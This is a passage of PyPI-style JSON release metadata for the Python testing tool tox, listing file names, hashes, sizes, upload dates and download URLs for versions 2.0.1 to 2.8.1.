edef9a250e55e4","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39851,"upload_time":"2015-05-12T23:37:41","upload_time_iso_8601":"2015-05-12T23:37:41.131071Z","url":"https://files.pythonhosted.org/packages/93/1a/1856c8b98fa2c88635a4029085613ccde603b9e7911ba1523e87fcf0e24b/tox-2.0.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ef836ecaa8718e7be8ef4fc1e07e3faa6642b008f04c48c9726eb594c03d3a30","md5":"fe2053ac037313ac520aa7fcfeeb5a39","sha256":"69a8e0742a96f6574209b23d34c2b058972a39e2c270542f852f97b27652c30d"},"downloads":-1,"filename":"tox-2.0.1.tar.gz","has_sig":false,"md5_digest":"fe2053ac037313ac520aa7fcfeeb5a39","packagetype":"sdist","python_version":"source","requires_python":null,"size":101839,"upload_time":"2015-05-12T23:37:44","upload_time_iso_8601":"2015-05-12T23:37:44.599162Z","url":"https://files.pythonhosted.org/packages/ef/83/6ecaa8718e7be8ef4fc1e07e3faa6642b008f04c48c9726eb594c03d3a30/tox-2.0.1.tar.gz","yanked":false,"yanked_reason":null}],"2.0.2":[{"comment_text":"","core-metadata":{"sha256":"a510b434ccf67049404acd1896955cdde2401ba66d4c2800b962c8c29d1137ff"},"digests":{"blake2b_256":"7d74619b3ac94d3275f1672939a92e433d8c12d31e26886fbfb646b442218bfd","md5":"94d14496a07e083fd85a6151215e58ec","sha256":"19d81ac7e57a271fc0e63f1a892f5eac98cfdf1cc768fd8b80ba0d41ce14a539"},"downloads":-1,"filename":"tox-2.0.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"94d14496a07e083fd85a6151215e58ec","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39878,"upload_time":"2015-06-03T13:14:58","upload_time_iso_8601":"2015-06-03T13:14:58.472792Z","url":"https://files.pythonhosted.org/packages/7d/74/619b3ac94d3275f1672939a92e433d8c12d31e26886fbfb646b442218bfd/tox-2.0.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"035a5f107eaa460921cc40eaa0d78559f33a80c2f758ca2ac9c940220faa6289","md5":"9e02d38e67653573284a2c3e16593646","sha256":"39c8c41679ae25986ee166c73093c7da6bf9a185aaeb8d20150b5ba4300515ab"},"downloads":-1,"filename":"tox-2.0.2.tar.gz","has_sig":false,"md5_digest":"9e02d38e67653573284a2c3e16593646","packagetype":"sdist","python_version":"source","requires_python":null,"size":101922,"upload_time":"2015-06-03T13:14:54","upload_time_iso_8601":"2015-06-03T13:14:54.885768Z","url":"https://files.pythonhosted.org/packages/03/5a/5f107eaa460921cc40eaa0d78559f33a80c2f758ca2ac9c940220faa6289/tox-2.0.2.tar.gz","yanked":false,"yanked_reason":null}],"2.1.0":[{"comment_text":"","core-metadata":{"sha256":"f11379c658595a60e0a16f2f67e0b9909e4b700765e91177aeb090fb79563128"},"digests":{"blake2b_256":"d2cf43916e6ea0fff33c60818400574a2a084c1c9f0744213db3cc9315f84710","md5":"dcbe7fd4447e0916eab64a5d7469a49e","sha256":"fb72f3b4ebd529d559866b5f63a61379e0e37ec7e9a7bbddf05c0ab3f3bbdae9"},"downloads":-1,"filename":"tox-2.1.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"dcbe7fd4447e0916eab64a5d7469a49e","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39684,"upload_time":"2015-06-19T14:08:38","upload_time_iso_8601":"2015-06-19T14:08:38.857489Z","url":"https://files.pythonhosted.org/packages/d2/cf/43916e6ea0fff33c60818400574a2a084c1c9f0744213db3cc9315f84710/tox-2.1.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"838a5def386fd3fef2c91481a03a42e220752c366247e4e8410a70e0e8e950f9","md5":"a5cd068ada7d5b6b7b16c03a7250a23b","sha256":"f322277448b936250a864385e495f289711eff2aa7d841cae834a81628f2785b"},"downloads":-1,"filename":"tox-2.1.0.tar.gz","has_sig":false,"md5_digest":"a5cd068ada7d5b6b7b16c03a7250a23b","packagetype":"sdist","python_version":"source","requires_python":null,"size":102195,"upload_time":"2015-06-19T14:08:35","upload_time_iso_8601":"2015-06-19T14:08:35.578784Z","url":"https://files.pythonhosted.org/packages/83/8a/5def386fd3fef2c91481a03a42e220752c366247e4e8410a70e0e8e950f9/tox-2.1.0.tar.gz","yanked":false,"yanked_reason":null}],"2.1.1":[{"comment_text":"","core-metadata":{"sha256":"9365da8e1d42322381796c647920e93fa63ef8f2ffb0baa132099df38aca17a9"},"digests":{"blake2b_256":"afcde4e47282c016184656e6a1ca3f8d4baa7c59277aa98fd36767fa48aea476","md5":"c358c3c64e3ed21de9f0c5184c959097","sha256":"a405f68f06bde1766bcf9d9290f7bf98aa090756d12c27d12ac99003f813990d"},"downloads":-1,"filename":"tox-2.1.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"c358c3c64e3ed21de9f0c5184c959097","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39639,"upload_time":"2015-06-23T11:50:15","upload_time_iso_8601":"2015-06-23T11:50:15.616096Z","url":"https://files.pythonhosted.org/packages/af/cd/e4e47282c016184656e6a1ca3f8d4baa7c59277aa98fd36767fa48aea476/tox-2.1.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"61c487fa118937ad9602147b791a50bf79cc366f35b58d88e9cc9262560ddb49","md5":"fc5b38cce701ced90a89b9da24af1769","sha256":"a03aa022a1f6f82cc21732af0ed48217a3c16873b98e16be22baa7cea74e1eef"},"downloads":-1,"filename":"tox-2.1.1.tar.gz","has_sig":false,"md5_digest":"fc5b38cce701ced90a89b9da24af1769","packagetype":"sdist","python_version":"source","requires_python":null,"size":102170,"upload_time":"2015-06-23T11:50:11","upload_time_iso_8601":"2015-06-23T11:50:11.175880Z","url":"https://files.pythonhosted.org/packages/61/c4/87fa118937ad9602147b791a50bf79cc366f35b58d88e9cc9262560ddb49/tox-2.1.1.tar.gz","yanked":false,"yanked_reason":null}],"2.2.0":[{"comment_text":"","core-metadata":{"sha256":"dcba98346848f1e102d12bfee9483989205809665b8ebd26b66ca8c1c12a700a"},"digests":{"blake2b_256":"ec0386d8a37f9c74cf4e3f250c3ed26e518cd030004a085f9ba561f84c1dc16f","md5":"32cdec96faec1edefa60e469880fa44c","sha256":"d1bc02214da850e8c4145a51044f7c6bcbe7167996965b54e76638a822d34a11"},"downloads":-1,"filename":"tox-2.2.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"32cdec96faec1edefa60e469880fa44c","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39864,"upload_time":"2015-11-11T13:47:16","upload_time_iso_8601":"2015-11-11T13:47:16.272839Z","url":"https://files.pythonhosted.org/packages/ec/03/86d8a37f9c74cf4e3f250c3ed26e518cd030004a085f9ba561f84c1dc16f/tox-2.2.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"16be2883713e61b7c6824303db7b25527f033ea1b62a3acc2f1c707bb51af525","md5":"04dcdf1e168ad884b801e11404b631e6","sha256":"121685ff0ba93c6a95e17cdd872cc804aab9f62ccdaa233bb629fecfe2ceb255"},"downloads":-1,"filename":"tox-2.2.0.tar.gz","has_sig":false,"md5_digest":"04dcdf1e168ad884b801e11404b631e6","packagetype":"sdist","python_version":"source","requires_python":null,"size":103973,"upload_time":"2015-11-11T13:47:10","upload_time_iso_8601":"2015-11-11T13:47:10.823931Z","url":"https://files.pythonhosted.org/packages/16/be/2883713e61b7c6824303db7b25527f033ea1b62a3acc2f1c707bb51af525/tox-2.2.0.tar.gz","yanked":false,"yanked_reason":null}],"2.2.1":[{"comment_text":"","core-metadata":{"sha256":"4376142c7d1f694409516e37d15f69642e52cbb14ee7110a2b9c73d52da781a2"},"digests":{"blake2b_256":"524faf22a2fdc7e5d5b0ebb0970ea37df6b694081bda04e4e28c9afd02f9a012","md5":"335795e18388a21dde53ead39d63a316","sha256":"70d97dddd44b063d15c6ebd956deea8623e62839ac652e00e85d29b97dc2d674"},"downloads":-1,"filename":"tox-2.2.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"335795e18388a21dde53ead39d63a316","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39868,"upload_time":"2015-11-11T15:15:44","upload_time_iso_8601":"2015-11-11T15:15:44.847990Z","url":"https://files.pythonhosted.org/packages/52/4f/af22a2fdc7e5d5b0ebb0970ea37df6b694081bda04e4e28c9afd02f9a012/tox-2.2.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f76c5b196db3796506c964e0e0eb37627642913e75d020b086bf84d75e0557a0","md5":"5911e8f68f87954941d9155a4db5ea03","sha256":"b54e28f553ea2c382fcb18a9ae472d7d2caf4f282fabb633d94e584b7892e6b2"},"downloads":-1,"filename":"tox-2.2.1.tar.gz","has_sig":false,"md5_digest":"5911e8f68f87954941d9155a4db5ea03","packagetype":"sdist","python_version":"source","requires_python":null,"size":104115,"upload_time":"2015-11-11T15:15:52","upload_time_iso_8601":"2015-11-11T15:15:52.326155Z","url":"https://files.pythonhosted.org/packages/f7/6c/5b196db3796506c964e0e0eb37627642913e75d020b086bf84d75e0557a0/tox-2.2.1.tar.gz","yanked":false,"yanked_reason":null}],"2.3.0":[{"comment_text":"","core-metadata":{"sha256":"1f47947e8f7678dffc1e092256c8dc84ae9e30c58da2c35e503d7df2284b1bf6"},"digests":{"blake2b_256":"2a7fbbe691c3d947a6d621198e292826ae0a08a6c893bba172b676ca7a3b9b3a","md5":"efd6e5b7eefc0df919a836a31ba1fcef","sha256":"a37cbb0f6ccd9bd7a9e77dae8d722b85602ddbeeb829da3747ac6fe5db6a9a5d"},"downloads":-1,"filename":"tox-2.3.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"efd6e5b7eefc0df919a836a31ba1fcef","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":40540,"upload_time":"2015-12-11T10:00:41","upload_time_iso_8601":"2015-12-11T10:00:41.998998Z","url":"https://files.pythonhosted.org/packages/2a/7f/bbe691c3d947a6d621198e292826ae0a08a6c893bba172b676ca7a3b9b3a/tox-2.3.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7aac020924734cb4f07eb9905f430cc6822eab1a827962e8eed6a2588a98761e","md5":"badd730ee22ccb87119a33b229d260cc","sha256":"b73fa8a74a9fa7ad5c942bee8a28eadd9d25882fd21b04f86bec051cc2cdadf5"},"downloads":-1,"filename":"tox-2.3.0.tar.gz","has_sig":false,"md5_digest":"badd730ee22ccb87119a33b229d260cc","packagetype":"sdist","python_version":"source","requires_python":null,"size":106299,"upload_time":"2015-12-11T10:00:47","upload_time_iso_8601":"2015-12-11T10:00:47.234559Z","url":"https://files.pythonhosted.org/packages/7a/ac/020924734cb4f07eb9905f430cc6822eab1a827962e8eed6a2588a98761e/tox-2.3.0.tar.gz","yanked":false,"yanked_reason":null}],"2.3.1":[{"comment_text":"","core-metadata":{"sha256":"39d98ae9be0a8ab7b22fe0bdccb196b45f13ed28eb1855e8c520d17454b0d50f"},"digests":{"blake2b_256":"7d8c58d0e478afe366fc1c5ca5994558adf9375d7e60ac866d8fdb6046e0e776","md5":"64698fbee3d451b2441f21e9a9f9d8a6","sha256":"1823c93ca378092c10bbde428213d3f5066b30adb09e5c001087a83e3e0a402a"},"downloads":-1,"filename":"tox-2.3.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"64698fbee3d451b2441f21e9a9f9d8a6","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":40669,"upload_time":"2015-12-14T11:01:50","upload_time_iso_8601":"2015-12-14T11:01:50.955399Z","url":"https://files.pythonhosted.org/packages/7d/8c/58d0e478afe366fc1c5ca5994558adf9375d7e60ac866d8fdb6046e0e776/tox-2.3.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4639e15a857fda1852da1485bc88ac4268dbcef037ab526e1ac21accf2a5c24c","md5":"9371b3d3e25c03751a0372e19602dfb9","sha256":"bf7fcc140863820700d3ccd65b33820ba747b61c5fe4e2b91bb8c64cb21a47ee"},"downloads":-1,"filename":"tox-2.3.1.tar.gz","has_sig":false,"md5_digest":"9371b3d3e25c03751a0372e19602dfb9","packagetype":"sdist","python_version":"source","requires_python":null,"size":106447,"upload_time":"2015-12-14T11:01:44","upload_time_iso_8601":"2015-12-14T11:01:44.776257Z","url":"https://files.pythonhosted.org/packages/46/39/e15a857fda1852da1485bc88ac4268dbcef037ab526e1ac21accf2a5c24c/tox-2.3.1.tar.gz","yanked":false,"yanked_reason":null}],"2.3.2":[{"comment_text":"","core-metadata":{"sha256":"6bbdf58b1cfd787051b83d6a12d99c1f124f6a7974667fe37de84aad10c9c9fa"},"digests":{"blake2b_256":"9181e00ec81bd9e977bf73aaa4994fd08741911805458b34e3c339af487ef1ec","md5":"9135b7891fbee4275130bf93abfe51ab","sha256":"66607701c3dbf6bc8df1214ec370d49e21f4a0ed2c2a0c1f2e1c57f4f1a07368"},"downloads":-1,"filename":"tox-2.3.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"9135b7891fbee4275130bf93abfe51ab","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":40671,"upload_time":"2016-11-30T11:59:05","upload_time_iso_8601":"2016-11-30T11:59:05.456962Z","url":"https://files.pythonhosted.org/packages/91/81/e00ec81bd9e977bf73aaa4994fd08741911805458b34e3c339af487ef1ec/tox-2.3.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"43c8aeb3959e7c1f828a2888ef068ecc77c514830efcba87cdb6906fef45dd6c","md5":"e2b0eafe4da0de932227f57815940d59","sha256":"daf10b976058f0e812d4c9872cfac560bdb2e7c824439e1fa838f0467cff0606"},"downloads":-1,"filename":"tox-2.3.2.tar.gz","has_sig":false,"md5_digest":"e2b0eafe4da0de932227f57815940d59","packagetype":"sdist","python_version":"source","requires_python":null,"size":106287,"upload_time":"2016-11-30T11:59:02","upload_time_iso_8601":"2016-11-30T11:59:02.441139Z","url":"https://files.pythonhosted.org/packages/43/c8/aeb3959e7c1f828a2888ef068ecc77c514830efcba87cdb6906fef45dd6c/tox-2.3.2.tar.gz","yanked":false,"yanked_reason":null}],"2.4.0":[{"comment_text":"","core-metadata":{"sha256":"711eb8b45f5139875f33e526dcc1cb206e1c703146607b52b118c890de3cf0e6"},"digests":{"blake2b_256":"f890f1eaf36ebf6529277b6f2cb126881b69df66734e932d601700740651245c","md5":"69c552030799e1a58e4c106ab19607d2","sha256":"3a1a876e5d76eb354a094334f60fbaf96b31abcc5a980fc2f6272bf91d5cf0d4"},"downloads":-1,"filename":"tox-2.4.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"69c552030799e1a58e4c106ab19607d2","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":41644,"upload_time":"2016-10-12T11:16:04","upload_time_iso_8601":"2016-10-12T11:16:04.252349Z","url":"https://files.pythonhosted.org/packages/f8/90/f1eaf36ebf6529277b6f2cb126881b69df66734e932d601700740651245c/tox-2.4.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"522d488cd9b38f2d564b2b660c296dca50216bdd7d50927f180a221631e19489","md5":"f7f52a8c1de13ff39b783ff03583de9e","sha256":"ff849ec72088047fd23178c3a2c86daff1b49f5af042329060fc10d37975e376"},"downloads":-1,"filename":"tox-2.4.0.tar.gz","has_sig":false,"md5_digest":"f7f52a8c1de13ff39b783ff03583de9e","packagetype":"sdist","python_version":"source","requires_python":null,"size":113605,"upload_time":"2016-10-12T11:16:01","upload_time_iso_8601":"2016-10-12T11:16:01.702136Z","url":"https://files.pythonhosted.org/packages/52/2d/488cd9b38f2d564b2b660c296dca50216bdd7d50927f180a221631e19489/tox-2.4.0.tar.gz","yanked":false,"yanked_reason":null}],"2.4.1":[{"comment_text":"","core-metadata":{"sha256":"480eb23645e603e56583e8007be1ed795abaa329a9abb6aaac03b398b8cf9336"},"digests":{"blake2b_256":"b62daf1e3197e59dc5aefba97623e048b4fa346b5dab471e9dcfe72fa44002ab","md5":"427394826227d90d3d4b4c0724d35d6e","sha256":"6545c0ce3de44afe7eebaf201199985cabc46a850642e1a55b88f3b60a1ae1bb"},"downloads":-1,"filename":"tox-2.4.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"427394826227d90d3d4b4c0724d35d6e","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":41640,"upload_time":"2016-10-13T09:31:01","upload_time_iso_8601":"2016-10-13T09:31:01.156288Z","url":"https://files.pythonhosted.org/packages/b6/2d/af1e3197e59dc5aefba97623e048b4fa346b5dab471e9dcfe72fa44002ab/tox-2.4.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"377be86e836bb243a2cb5af0988f1fb4195d3447033e7cec0af2955d590b7b16","md5":"04d646bdd83a3a96a75e69a735846226","sha256":"6673571a3c4b1561b564e2b1cce55bddfb4f3efdb387ba4eb0a3688bbe2496db"},"downloads":-1,"filename":"tox-2.4.1.tar.gz","has_sig":false,"md5_digest":"04d646bdd83a3a96a75e69a735846226","packagetype":"sdist","python_version":"source","requires_python":null,"size":113677,"upload_time":"2016-10-13T09:30:58","upload_time_iso_8601":"2016-10-13T09:30:58.762226Z","url":"https://files.pythonhosted.org/packages/37/7b/e86e836bb243a2cb5af0988f1fb4195d3447033e7cec0af2955d590b7b16/tox-2.4.1.tar.gz","yanked":false,"yanked_reason":null}],"2.5.0":[{"comment_text":"","core-metadata":{"sha256":"14f5242788cac504296ba2dc417698cb97311637e7f4e2b9fa457ff4b3edf64c"},"digests":{"blake2b_256":"779ff44f05843f5e26ffda27a008a9a634a36b6cace0dc6cd491b3e72298cc91","md5":"f4196b80c79a0054072804e1ddb8b6b4","sha256":"d4dabc39c7d7248f4e8353fde7a40d2dc50a11a2329b41da90e4327c28a72ed0"},"downloads":-1,"filename":"tox-2.5.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"f4196b80c79a0054072804e1ddb8b6b4","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":42156,"upload_time":"2016-11-16T14:53:19","upload_time_iso_8601":"2016-11-16T14:53:19.670267Z","url":"https://files.pythonhosted.org/packages/77/9f/f44f05843f5e26ffda27a008a9a634a36b6cace0dc6cd491b3e72298cc91/tox-2.5.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c7f17e682de536501dada79cb19428ba937d80c5ca56b8836a965bca5675e22e","md5":"18df1e2e2e4ddcc468512bf3333581c1","sha256":"6d4e77cad37343f91d7b755f08aad21c71d945f4af7b2cbc323443b174bd8159"},"downloads":-1,"filename":"tox-2.5.0.tar.gz","has_sig":false,"md5_digest":"18df1e2e2e4ddcc468512bf3333581c1","packagetype":"sdist","python_version":"source","requires_python":null,"size":114223,"upload_time":"2016-11-16T14:53:21","upload_time_iso_8601":"2016-11-16T14:53:21.663336Z","url":"https://files.pythonhosted.org/packages/c7/f1/7e682de536501dada79cb19428ba937d80c5ca56b8836a965bca5675e22e/tox-2.5.0.tar.gz","yanked":false,"yanked_reason":null}],"2.6.0":[{"comment_text":"","core-metadata":{"sha256":"925dde853582bbfc84260086b839d265340083176bf25f05f2b624d5d69316b8"},"digests":{"blake2b_256":"48f1db2a61a40fdb907e648d8ad9326eedbd2112235bef4e01993758695e6d99","md5":"ba7d83ee5b4658975bbe0a9796e57662","sha256":"0001379c6dc21e69902e0279e7f91d420857bbb70901203564fb9e118c376dab"},"downloads":-1,"filename":"tox-2.6.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"ba7d83ee5b4658975bbe0a9796e57662","packagetype":"bdist_wheel","python_version":"3.6","requires_python":null,"size":42387,"upload_time":"2017-02-03T14:47:15","upload_time_iso_8601":"2017-02-03T14:47:15.269925Z","url":"https://files.pythonhosted.org/packages/48/f1/db2a61a40fdb907e648d8ad9326eedbd2112235bef4e01993758695e6d99/tox-2.6.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8afaf54d9623b623168fb2a0ae301f27a0bdd3f4a3b74e7232d3e537d84e3191","md5":"9777dc645bc659491a169009598cce1f","sha256":"916498d2971f44a76baf3773a700f775c2f51aa6cc20be1828309148fc412252"},"downloads":-1,"filename":"tox-2.6.0.tar.gz","has_sig":false,"md5_digest":"9777dc645bc659491a169009598cce1f","packagetype":"sdist","python_version":"source","requires_python":null,"size":114616,"upload_time":"2017-02-03T14:47:13","upload_time_iso_8601":"2017-02-03T14:47:13.636719Z","url":"https://files.pythonhosted.org/packages/8a/fa/f54d9623b623168fb2a0ae301f27a0bdd3f4a3b74e7232d3e537d84e3191/tox-2.6.0.tar.gz","yanked":false,"yanked_reason":null}],"2.7.0":[{"comment_text":"","core-metadata":{"sha256":"ba8a2d256338260d368bb4f341247263bf01e90b8a0e0c8d170c2c574409f76e"},"digests":{"blake2b_256":"898682cdd5ac460bdc4021da26ec978028a45bd840e626a4854605e6a1055533","md5":"5a25e74c20d13f1644086de850a2d987","sha256":"0f37ea637ead4a5bbae91531b0bf8fd327c7152e20255e5960ee180598228d21"},"downloads":-1,"filename":"tox-2.7.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"5a25e74c20d13f1644086de850a2d987","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":49720,"upload_time":"2017-04-06T18:52:15","upload_time_iso_8601":"2017-04-06T18:52:15.773455Z","url":"https://files.pythonhosted.org/packages/89/86/82cdd5ac460bdc4021da26ec978028a45bd840e626a4854605e6a1055533/tox-2.7.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"99202fd208e75c05975bf6436258f469aa233045b93d195cdb442045de0923cc","md5":"86cced6aa7be700f918eaca41d02ad69","sha256":"9c3bdc06fe411d24015e8bbbab9d03dc5243a970154496aac13f9283682435f9"},"downloads":-1,"filename":"tox-2.7.0.tar.gz","has_sig":false,"md5_digest":"86cced6aa7be700f918eaca41d02ad69","packagetype":"sdist","python_version":"source","requires_python":null,"size":120139,"upload_time":"2017-04-06T18:52:14","upload_time_iso_8601":"2017-04-06T18:52:14.137886Z","url":"https://files.pythonhosted.org/packages/99/20/2fd208e75c05975bf6436258f469aa233045b93d195cdb442045de0923cc/tox-2.7.0.tar.gz","yanked":false,"yanked_reason":null}],"2.8.0":[{"comment_text":"","core-metadata":{"sha256":"4957cb68a012fe5e537618b429ded8931979a3f92cd2f8b1b72302748560afbd"},"digests":{"blake2b_256":"b59fb1bd084ecae21b202a83ddadf8318de2394d232ba17da4fb285bbe5f9eaa","md5":"78fee1326b9b03f49424657e60fce906","sha256":"3f6412d98ac8468eebac46627f272251f07a9ca98f01ba25865c261d1d39c5f9"},"downloads":-1,"filename":"tox-2.8.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"78fee1326b9b03f49424657e60fce906","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":50571,"upload_time":"2017-09-01T17:36:57","upload_time_iso_8601":"2017-09-01T17:36:57.672001Z","url":"https://files.pythonhosted.org/packages/b5/9f/b1bd084ecae21b202a83ddadf8318de2394d232ba17da4fb285bbe5f9eaa/tox-2.8.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9aa878d1aac4399727a63807faedcc34741631c2366246bb4d63dea6055910db","md5":"46eb99ddc2e90e80eea386438511005d","sha256":"ec5d51271cc2ccf9dec5e7efea9046bbbd5c0d533682b345380b7ec704c59902"},"downloads":-1,"filename":"tox-2.8.0.tar.gz","has_sig":false,"md5_digest":"46eb99ddc2e90e80eea386438511005d","packagetype":"sdist","python_version":"source","requires_python":null,"size":124950,"upload_time":"2017-09-01T17:37:00","upload_time_iso_8601":"2017-09-01T17:37:00.507950Z","url":"https://files.pythonhosted.org/packages/9a/a8/78d1aac4399727a63807faedcc34741631c2366246bb4d63dea6055910db/tox-2.8.0.tar.gz","yanked":false,"yanked_reason":null}],"2.8.0rc1":[{"comment_text":"","core-metadata":{"sha256":"12a263d7ac23ebd1eb944948ae5b4f1d864c2ab1713289d2272e0ea67db021cb"},"digests":{"blake2b_256":"0071a880b3f6c5535e5cfb8769a7abd75422b1590caa0266bf8dca9c6a22a729","md5":"54dd993d8edd2682d1b76fce26950c75","sha256":"a7682ef031df3b2b170b55dbf896b248c0484e70769f28295e30e8b60376f1fa"},"downloads":-1,"filename":"tox-2.8.0rc1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"54dd993d8edd2682d1b76fce26950c75","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":48880,"upload_time":"2017-08-13T12:27:46","upload_time_iso_8601":"2017-08-13T12:27:46.265794Z","url":"https://files.pythonhosted.org/packages/00/71/a880b3f6c5535e5cfb8769a7abd75422b1590caa0266bf8dca9c6a22a729/tox-2.8.0rc1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1c120d7436f19b9f85b7c6186f25002a2160f2d342fdc0811aff2d0ed214f4be","md5":"8370a662519562959082014b3790d389","sha256":"4955ccc7d3d0352ed4e96a0ed0c5012e9bcb2fa38a46fcfcfc6f7b4da660768f"},"downloads":-1,"filename":"tox-2.8.0rc1.tar.gz","has_sig":false,"md5_digest":"8370a662519562959082014b3790d389","packagetype":"sdist","python_version":"source","requires_python":null,"size":122696,"upload_time":"2017-08-13T12:27:49","upload_time_iso_8601":"2017-08-13T12:27:49.167527Z","url":"https://files.pythonhosted.org/packages/1c/12/0d7436f19b9f85b7c6186f25002a2160f2d342fdc0811aff2d0ed214f4be/tox-2.8.0rc1.tar.gz","yanked":false,"yanked_reason":null}],"2.8.0rc2":[{"comment_text":"","core-metadata":{"sha256":"c065d3bb82b917c992bb80d26351164a9c305dd47fd83cfd14797915b8c3d21a"},"digests":{"blake2b_256":"3e78e4f7919621a03724d8ab9d41fe0ae9de96c70790ccdeecf19e5a712cc838","md5":"c4ad9b764e5e12b9d70469899222b9b2","sha256":"f990484a4e18a3bc26e2c830822108b151adff02703e5428dfd7a1f6271e0c10"},"downloads":-1,"filename":"tox-2.8.0rc2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"c4ad9b764e5e12b9d70469899222b9b2","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":50561,"upload_time":"2017-08-26T20:59:07","upload_time_iso_8601":"2017-08-26T20:59:07.348778Z","url":"https://files.pythonhosted.org/packages/3e/78/e4f7919621a03724d8ab9d41fe0ae9de96c70790ccdeecf19e5a712cc838/tox-2.8.0rc2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"540d475afc32a339946df8f898e1156251a2c169d8de95f97245e791e35fa676","md5":"f6ac442775320abc5af5375ab8eca6ca","sha256":"8214faf42209d50f346c290fa79ae9f115cba1df4695e676cecfb357861f871a"},"downloads":-1,"filename":"tox-2.8.0rc2.tar.gz","has_sig":false,"md5_digest":"f6ac442775320abc5af5375ab8eca6ca","packagetype":"sdist","python_version":"source","requires_python":null,"size":124780,"upload_time":"2017-08-26T20:59:09","upload_time_iso_8601":"2017-08-26T20:59:09.409163Z","url":"https://files.pythonhosted.org/packages/54/0d/475afc32a339946df8f898e1156251a2c169d8de95f97245e791e35fa676/tox-2.8.0rc2.tar.gz","yanked":false,"yanked_reason":null}],"2.8.1":[{"comment_text":"","core-metadata":{"sha256":"dd092f5fe5a42b784944994b94ffaf4157c943f8cee3534729a34a77f3189342"},"digests":{"blake2b_256":"3c56098ed859542853558dc700d2c11930c1e25157bb6858a319e52eebd7e0f1","md5":"33dd55a68c8aef77f354c22c0c58ea64","sha256":"a4f895ff9c32c12f6bbf1ac887591d7edc42cb01d0306e8a641d25f325e67c97"},"downloads":-1,"filename":"tox-2.8.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"33dd55a68c8aef77f354c22c0c58ea64","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":51103,"upload_time":"2017-09-04T11:30:14","upload_time_iso_8601":"2017-09-04T11:30:14.279514Z","url":"https://files.pythonhosted.org/packages/3c/56/098ed859542853558dc700d2c11930c1e25157bb6858a319e52eebd7e0f1/tox-2.8.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3200768bd75fc377e6fdcd2149094755bdd731c8602d9733610dbeecf8acba7c","md5":"9bd08374523e49b48486d8a68179c4dc","sha256":"de0abf4e8992c056bc22afff9d969e0cae2e39452a9650bdbcbe7154793537b7"},"downloads":-1,"filename":"tox-2.8.1.tar.gz","has_sig":false,"md5_digest":"9bd08374523e49b48486d8a68179c4dc","packagetype":"sdist","python_version":"source","requires_python":null,"size":125777,"upload_time":"2017-09-04T11:30:16","upload_time_iso_8601":"2017-09-04T11:30:16.092491Z","url":"https://files.pythonhosted.org/packages/32/00/768bd75fc377e6fdcd2149094755bdd731c8602d9733610dbeecf8acba7c/tox-2.8.1.t